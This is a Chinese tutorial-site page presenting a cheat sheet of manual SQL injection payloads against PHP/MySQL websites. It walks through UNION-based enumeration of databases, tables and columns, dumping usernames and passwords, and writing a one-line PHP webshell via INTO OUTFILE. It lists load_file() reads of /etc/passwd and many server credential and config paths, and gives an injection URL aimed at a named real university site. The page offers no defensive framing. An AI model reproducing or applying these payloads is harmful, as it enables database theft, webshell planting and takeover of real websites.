PHP+MySQL 手工注入语句大全 推荐


Posted in PHP onOctober 30, 2009

暴字段长度

Order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*

利用内置函数暴数据库信息

version() database() user()  

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容)

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

       2、有足够大的权限(可以用select …. from mysql.user测试)

       3、magic_quotes_gpc()=OFF

select   ‘<?php eval($_POST[cmd])?>'   into outfile ‘物理路径'

and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件

5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径

11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5 b/php.ini PHP 的相当设置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release   红帽子的系统版本

19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置

23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini
       25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

PHP 相关文章推荐
MVC模式的PHP实现
Oct 09 PHP
php5.2.0内存管理改进
Jan 22 PHP
解析Linux下Varnish缓存的配置优化
Jun 20 PHP
php调整服务器时间的方法
Apr 03 PHP
smarty内部日期函数html_select_date()用法实例分析
Jul 08 PHP
php根据用户语言跳转相应网页
Nov 04 PHP
thinkPHP模板中函数的使用方法示例
Nov 30 PHP
PHP实现二叉树深度优先遍历(前序、中序、后序)和广度优先遍历(层次)实例详解
Apr 20 PHP
PHP简单实现解析xml为数组的方法
May 02 PHP
详解PHP的抽象类和抽象方法以及接口总结
Mar 15 PHP
Laravel中如何轻松容易的输出完整的SQL语句
Jul 26 PHP
PHP超全局变量实现原理及代码解析
Sep 01 PHP
php 攻击方法之谈php+mysql注射语句构造
Oct 30 #PHP
PHP 文件上传源码分析(RFC1867)
Oct 30 #PHP
浅谈PHP 闭包特性在实际应用中的问题
Oct 30 #PHP
php实现jQuery扩展函数
Oct 30 #PHP
PHP 读取和修改大文件的某行内容的代码
Oct 30 #PHP
PHP 批量删除数据的方法分析
Oct 30 #PHP
ThinkPHP php 框架学习笔记
Oct 30 #PHP
You might like
网站加速 PHP 缓冲的免费实现方法
2006/10/09 PHP
在php MYSQL中插入当前时间
2008/04/06 PHP
PHP读取XML值的代码(推荐)
2011/01/01 PHP
php curl上传、下载、https登陆实现代码
2017/07/23 PHP
PHP+ajax实现二级联动菜单功能示例
2018/08/10 PHP
ThinkPHP3.2框架操作Redis的方法分析
2019/05/05 PHP
javascript 出生日期和身份证判断大全
2008/11/13 Javascript
JS 显示当前日期与时间的代码
2010/03/24 Javascript
jquery异步调用页面后台方法&amp;#8207;(asp.net)
2011/03/01 Javascript
javascript 弹出窗口中是否显示地址栏的实现代码
2011/04/14 Javascript
JavaScript?Apple设备检测示例代码
2013/11/15 Javascript
判断字符串的长度(优化版)中文占两个字符
2014/10/30 Javascript
javascript倒计时效果实现
2015/11/12 Javascript
jquery的ajax提交form表单的两种方法小结(推荐)
2016/05/25 Javascript
详解基于angular路由的requireJs按需加载js
2017/01/20 Javascript
详解node单线程实现高并发原理与node异步I/O
2017/09/21 Javascript
CheckBox多选取值及判断CheckBox选中是否为空的实例
2017/10/31 Javascript
vue2实现可复用的轮播图carousel组件详解
2017/11/27 Javascript
对vue中v-on绑定自定事件的实例讲解
2018/09/06 Javascript
vue2.0 可折叠列表 v-for循环展示的实例
2018/09/07 Javascript
使用layui 的layedit定义自己的toolbar方法
2019/09/18 Javascript
JavaScript装饰者模式原理与用法实例详解
2020/03/09 Javascript
js中!和!!的区别与用法
2020/05/09 Javascript
vue实现移动端触屏拖拽功能
2020/08/21 Javascript
解决Python中list里的中文输出到html模板里的问题
2018/12/17 Python
python从入门到精通 windows安装python图文教程
2019/05/18 Python
HTML5在线预览PDF的示例代码
2017/09/14 HTML / CSS
PUMA官方商城:世界领先的运动品牌之一
2016/11/16 全球购物
味多美官网:蛋糕订购,100%使用天然奶油
2017/11/10 全球购物
奥地利时尚、美容、玩具和家居之家:Kastner & Öhler
2020/04/26 全球购物
大学生专科毕业生自我评价
2013/11/17 职场文书
会展中心部门工作职责
2013/11/27 职场文书
口头翻译求职人自荐信
2013/12/07 职场文书
伦敦奥运会口号
2014/06/13 职场文书
二婚主持词
2015/06/30 职场文书
MySql 8.0及对应驱动包匹配的注意点说明
2021/06/23 MySQL